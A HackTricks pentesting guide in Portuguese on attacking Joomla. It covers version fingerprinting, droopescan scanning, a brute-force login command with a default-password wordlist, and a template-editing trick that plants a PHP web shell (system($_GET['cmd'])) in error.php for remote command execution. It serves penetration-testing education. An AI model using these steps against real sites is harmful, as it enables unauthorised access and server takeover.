hacktricks/network-services-pentesting/pentesting-web/joomla.md

6.3 KiB

Joomla

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Estatísticas do Joomla

O Joomla coleta algumas estatísticas de uso anônimas, como a distribuição das versões do Joomla, PHP e banco de dados, e sistemas operacionais de servidor em uso nas instalações do Joomla. Esses dados podem ser consultados através da sua API pública.

curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}

Enumeração

Descoberta/Rastreamento

  • Verifique o meta
curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />
  • robots.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
  • README.txt
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

Versão

  • Em /administrator/manifests/files/joomla.xml **** você pode ver a versão.
  • Em /language/en-GB/en-GB.xml você pode obter a versão do Joomla.
  • Em plugins/system/cache/cache.xml você pode ver uma versão aproximada.

Automático

droopescan scan joomla --url http://joomla-site.local/
Na seção [**80,443 - Metodologia de Pentesting Web**](./#cms-scanners), há uma parte sobre scanners de CMS que podem escanear o Joomla.

### Brute-Force

Você pode usar este [script](https://github.com/ajnik/joomla-bruteforce) para tentar realizar um ataque de força bruta no login.
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

admin:admin

RCE

Se você conseguiu obter credenciais de admin, pode realizar um RCE dentro dele adicionando um trecho de código PHP para obter RCE. Podemos fazer isso personalizando um template.

  1. Clique em Templates no canto inferior esquerdo em Configuration para abrir o menu de templates.
  2. Clique no nome de um template. Vamos escolher protostar na coluna Template. Isso nos levará à página Templates: Customise.
  3. Finalmente, você pode clicar em uma página para abrir o código fonte da página. Vamos escolher a página error.php. Adicionaremos um PHP one-liner para obter execução de código da seguinte forma:
    1. system($_GET['cmd']);
  4. Salvar & Fechar
  5. curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥